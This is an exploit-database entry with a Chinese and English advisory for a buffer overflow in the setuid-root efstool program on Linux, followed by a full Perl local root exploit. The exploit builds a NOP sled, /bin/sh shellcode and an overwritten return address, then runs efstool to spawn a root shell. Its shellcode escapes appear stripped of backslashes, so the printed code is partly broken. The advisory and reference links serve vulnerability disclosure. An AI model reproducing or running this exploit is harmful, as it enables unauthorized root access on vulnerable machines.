https://www.exploit-db.com/exploits/21583
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-741

efstool是一款Linux操作系统下的EFS文件操作工具。efstool对用户提交的命令行参数缺少正确的边界检查，本地攻击者可能利用这个漏洞进行缓冲区溢出攻击。本地攻击者可以提交超长的字符串作为参数给efstool程序，可导致efstool产生段错误，由于efstool程序默认以suidroot属性安装，精心构建字符串数据可使攻击者以root用户权限在系统中执行任意指令。

source: http://www.securityfocus.com/bid/5125/info

Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.

A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code. 

#!/usr/bin/perl
# efstool root exploit
# written by clorox of Ptrac Networks for BKACC(Bored Kids At ComputerCamp)
# give the campers internet grogan!
#
# tested to work on slackware 8, mandrake 8, mandrake 7.1
# tweaks may be needed on the offset
# method 1 works more often but
# method 2 is faster but not too good
#
#
# enjoy -clorox
# perl efs.pl -1000

$shellcode =
"xebx1dx5ex29xc0x88x46x07x89".
"x46x0cx89x76x08xb0x0bx87xf3".
"x8dx4bx08x8dx53x0cxcdx80x29".
"xc0x40xcdx80xe8xdexffxffxff".
"/bin/sh";

$shellcode2 =
"xebx1fx5ex89x76x08x31xc0x88".
"x46x07x89x46x0cxb0x0bx89xf3".
"x8dx4ex08x8dx56x0cxcdx80x31".
"xdbx89xd8x40xcdx80xe8xdcxff".
"xffxff/bin/sh";

$ret = "0xbfffe890";
$offset = $ARGV[0];
$nop = "x90";

if ($ARGV[1] eq "m1") {
        $len = 3000;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        }
        $buffer .= $shellcode;
} elsif ($ARGV[1] eq "m2") {
        $len = 10010;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        }
        $buffer .= $shellcode2;
} else {
        print "You must specify a method fool!n";
        print "perl $0 <offset> m1 or m2n";
}

$buffer .= pack('l', ($ret + $offset));
$buffer .= pack('l', ($ret + $offset));
exec("efstool $buffer");
# and on the seventh day clorox said "LET THERE BE SHELL!"

来源:BID
名称:5125
链接:http://www.securityfocus.com/bid/5125
来源:www.securiteam.com
链接:http://www.securiteam.com/exploits/5AP0E0K8AO.html
来源:XF
名称:linux-efstool-bo(9451)
链接:http://www.iss.net/security_center/static/9451.php
来源：NSFOCUS
名称：3044
链接：http://www.nsfocus.net/vulndb/3044